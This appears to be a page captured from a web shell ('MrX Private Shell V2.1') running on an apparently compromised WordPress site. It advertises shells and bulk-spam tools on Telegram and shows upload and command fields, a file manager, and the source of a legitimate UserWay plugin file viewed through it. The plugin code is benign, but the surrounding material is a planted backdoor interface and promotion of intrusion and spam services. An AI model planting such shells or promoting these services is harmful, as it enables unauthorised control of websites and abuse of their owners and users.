__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/*
    Copyright 2021  UserWay  (email: [email protected])
*/

function initUwTable() {
	global $wpdb;
	$table_name      = $wpdb->prefix . 'userway';
	$charset_collate = $wpdb->get_charset_collate();

	$sql = "
    CREATE TABLE IF NOT EXISTS `$table_name` (
        `preference_id` INT(10) NOT NULL AUTO_INCREMENT,
        `account_id`    VARCHAR(255) NOT NULL,
        `state`         smallint(5) NOT NULL,
		`created_time`  TIMESTAMP NOT NULL,
        `updated_time`  TIMESTAMP NOT NULL,
        PRIMARY KEY (`preference_id`)
    ) $charset_collate
    ";

	if ( ! function_exists( 'dbDelta' ) ) {
		require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
	}

	dbDelta( $sql );
}

function removeUwTable() {
	global $wpdb;
	$table_name = $wpdb->prefix . 'userway';

	$sql = "DROP TABLE IF EXISTS `$table_name`";

	$wpdb->get_results( $sql );
}

function isUwTableExist() {
	global $wpdb;
	$table_name  = $wpdb->prefix . 'userway';
	$table_exist = false;
	if ( $wpdb->get_var( "SHOW TABLES LIKE '$table_name'" ) == $table_name ) {
		$table_exist = true;
	}

	return $table_exist;
}

function getRemoteUwAccountId() {
	$account_id = null;
	$apiUrl     = 'https://api.userway.org/api/v1/users/account-by-site';

	$args = array(
		'body' => array(
			'site' => $_SERVER['HTTP_HOST'],
		)
	);

	$response      = wp_remote_post( $apiUrl, $args );
	$response_code = wp_remote_retrieve_response_message( $response );

	if ( $response_code === 'OK' ) {
		$response_body = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( isset( $response_body['account'] ) ) {
			$account_id = $response_body['account'];
		}
	}

	return $account_id;
}

function getUwAccount() {
	global $wpdb;

	$table_name = $wpdb->prefix . 'userway';
	$account    = null;
	$dbData     = $wpdb->get_results( "SELECT * FROM $table_name LIMIT 0, 1" );

	if ( isset( $dbData[0] ) ) {
		$account = [
			'account_id' => $dbData[0]->account_id,
			'state'      => $dbData[0]->state,
		];
	}

	return $account;
}

Filemanager

Name Type Size Permission Actions
assets Folder 0775
admin.php File 3.72 KB 0775
api-script.js File 1.39 KB 0775
controller.php File 4.53 KB 0775
functions.php File 1.95 KB 0775
notifications.php File 10.16 KB 0775
Filemanager